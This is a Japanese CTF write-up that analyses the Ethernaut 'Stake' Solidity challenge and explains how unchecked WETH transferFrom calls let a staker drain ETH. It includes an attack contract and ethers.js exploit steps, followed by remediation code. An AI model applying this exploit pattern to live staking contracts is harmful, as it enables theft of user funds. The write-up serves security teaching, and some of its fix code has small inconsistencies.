Appearance
CTF レベル「Stake」の詳細な技術解説:脆弱性の分析と悪用方法
はじめに
本記事では、Ethernaut CTFの「Stake」レベルを詳細に分析し、その脆弱性を悪用してコントラクトの資金を枯渇させる方法について解説します。このレベルは、ERC-20トークンとネイティブETHのステーキングを扱うスマートコントラクトのセキュリティ上の問題点を浮き彫りにする教育的な課題です。
コントラクトの概要と機能
コントラクトの目的
Stakeコントラクトは、ユーザーがネイティブETHまたはWETH(Wrapped ETH)をステーキングできるプラットフォームを提供します。設計上、ETHとWETHは1:1の価値で同等とみなされています。
主要な状態変数
solidity
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
totalStaked: コントラクト内の総ステーキング量UserStake: 各アドレスのステーキング残高Stakers: ステーキングを行ったユーザーの記録WETH: WETHトークンのコントラクトアドレス
コントラクトの機能分析
1. コンストラクタ
solidity
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
コンストラクタはデプロイ時にETHを受け取り、totalStakedに加算します。これが後の脆弱性に関わる重要なポイントとなります。
2. ETHステーキング関数
solidity
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
ユーザーは0.001 ETH以上をステーキングできます。この関数はtotalStakedとユーザーのステーキング残高を更新します。
3. WETHステーキング関数
solidity
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
この関数はERC-20のallowanceとtransferFrom関数を直接呼び出しています:
0xdd62ed3e:allowance(address owner, address spender)の関数セレクタ0x23b872dd:transferFrom(address from, address to, uint256 value)の関数セレクタ
4. アンステーキング関数
solidity
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
ユーザーは自分のステーキング残高までアンステーキングできます。ETHがユーザーに送金されます。
脆弱性の特定と分析
根本的な問題
このコントラクトの主要な脆弱性は、ステートの不整合にあります。具体的には:
- コンストラクタで受け取ったETHが
totalStakedに加算されるが、誰のUserStakeにも記録されない - WETHステーキング時に
totalStakedが増加するが、トークン転送が失敗しても状態が更新される可能性がある
脆弱性の詳細
コンストラクタでtotalStakedが増加しますが、このETHはどのユーザーのUserStakeにも紐づけられません。これは、コントラクトが初期資金を持っているが、その資金が「所有者なし」の状態にあることを意味します。
さらに、StakeWETH関数では、totalStakedとUserStakeの更新がトークン転送の前に実行されています:
solidity
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
もしトークン転送が失敗した場合(十分な残高がない、承認がないなど)、状態変数は更新されたままになりますが、実際のトークン移動は発生しません。
攻撃の実装
攻撃の目標
レベルを完了するためには、以下の条件を満たす必要があります:
- StakeコントラクトのETH残高が0より大きい
totalStakedがコントラクトのETH残高より大きい- 攻撃者がstakerであること
- 攻撃者のステーキング残高が0であること
攻撃コントラクト
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Stake.sol";
contract Hack {
Stake private immutable target;
constructor(address _target) {
target = Stake(_target);
}
function byContract() external payable {
target.StakeETH{value: msg.value}();
}
}
攻撃手順の詳細
ステップ1: 初期設定
typescript
const STAKE_ETH = ethers.parseUnits("0.001000000000000002", 18);
const tx = await hack.byContract({ value: STAKE_ETH });
await tx.wait();
攻撃者は最小額より少し多いETH(0.001000000000000002 ETH)をステーキングします。これにより攻撃者はstakerとして登録されます。
ステップ2: WETHの承認
typescript
const APPROVE_UINT256_MAX = ethers.MaxUint256;
const tx2 = await wethContract.approve(STAKE_ADDRESS, APPROVE_UINT256_MAX);
await tx2.wait();
攻撃者はStakeコントラクトに対して無制限のWETH転送権限を付与します。
ステップ3: WETHステーキングの実行
typescript
const INIT_ETH = ethers.parseUnits("0.001000000000000001", 18);
const tx3 = await stkContract.StakeWETH(INIT_ETH);
await tx3.wait();
攻撃者は最小額より少し少ないWETH(0.001000000000000001 WETH)をステーキングしようとします。重要なのは、この金額が攻撃者のWETH残高よりわずかに少ないことです。
ステップ4: アンステーキング
typescript
const tx4 = await stkContract.Unstake(INIT_ETH);
await tx4.wait();
攻撃者はステップ3でステーキングした(と記録されている)金額をアンステーキングします。
脆弱性の悪用メカニズム
状態の不整合の発生
攻撃の核心は、WETHステーキング時に発生する状態の不整合にあります:
StakeWETH関数が呼び出されると、totalStakedとUserStake[msg.sender]が増加します- しかし、攻撃者は十分なWETH残高を持っていないため、
transferFrom呼び出しは失敗します - 重要な点:Solidityの低レベル呼び出し(
.call())は、返り値をチェックしない限り、失敗を無視します - 実際のコードでは
transfered変数が返されますが、その失敗が状態のロールバックを引き起こすことはありません
結果として:
totalStakedは増加したままUserStake[msg.sender]も増加したまま- しかし実際にはWETHトークンは転送されていない
条件の達成
この状態の不整合により、レベル完了条件が満たされます:
- コントラクトのETH残高 > 0: コンストラクタで受け取ったETHが残っている
- totalStaked > ETH残高: WETHステーキングで
totalStakedが増加したが、実際のトークン移動は発生しなかった - 攻撃者はstaker: ETHステーキングで
Stakers[msg.sender] = trueに設定された - ステーキング残高 = 0: WETHステーキング分をアンステーキングした
セキュリティ対策とベストプラクティス
1. Checks-Effects-Interactionsパターンの遵守
状態変更の前にすべてのチェックを行い、外部呼び出しの前に状態を更新すべきです。ただし、このケースでは外部呼び出しの後に状態を更新する必要があります:
solidity
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
// 1. チェック
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
// 2. インタラクション(外部呼び出し)
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
require(transfered, "Transfer failed");
// 3. エフェクト(状態変更)
totalStaked += amount;
UserStake[msg.sender] += amount;
Stakers[msg.sender] = true;
return true;
}
2. 初期資金の適切な処理
コンストラクタで受け取った資金をtotalStakedに加算する場合は、適切な所有者を設定すべきです:
solidity
constructor(address _weth) payable{
WETH = _weth;
if(msg.value > 0) {
totalStaked += msg.value;
// オーナーまたは特別なアカウントに記録
UserStake[owner()] += msg.value;
Stakers[owner()] = true;
}
}
3. 戻り値の適切なチェック
低レベル呼び出しの結果を常にチェックし、失敗時には状態をロールバックする必要があります:
solidity
(bool success, bytes memory data) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
require(success, "WETH transfer failed");
4. SafeERC20の使用
OpenZeppelinのSafeERC20ライブラリを使用することで、トークン転送の安全性を確保できます:
solidity
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Stake {
using SafeERC20 for IERC20;
IERC20 public WETH;
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
// SafeERC20を使用した安全な転送
WETH.safeTransferFrom(msg.sender, address(this), amount);
totalStaked += amount;
UserStake[msg.sender] += amount;
Stakers[msg.sender] = true;
return true;
}
}
結論
Stakeコントラクトの脆弱性は、スマートコントラクト開発における重要な教訓を示しています:
- 状態の一貫性: コントラクトの状態変数は常に実際の資産の状態と一致している必要があります
- 外部呼び出しの順序: Checks-Effects-Interactionsパターンに従い、外部呼び出しの前に状態を変更しないことが重要です
- エラーハンドリング: 低レベル呼び出しの結果を常にチェックし、適切に処理する必要があります
- 既存のセキュリティツールの活用: OpenZeppelinのような監査済みのライブラリを使用することで、一般的な脆弱性を回避できます
このCTFレベルは、見かけ上単純なコントラクトにも重大な脆弱性が潜んでいることを示す良い例です。開発者は資産管理コントラクトを作成する際、特に状態遷移と外部呼び出しの相互作用に細心の注意を払う必要があります。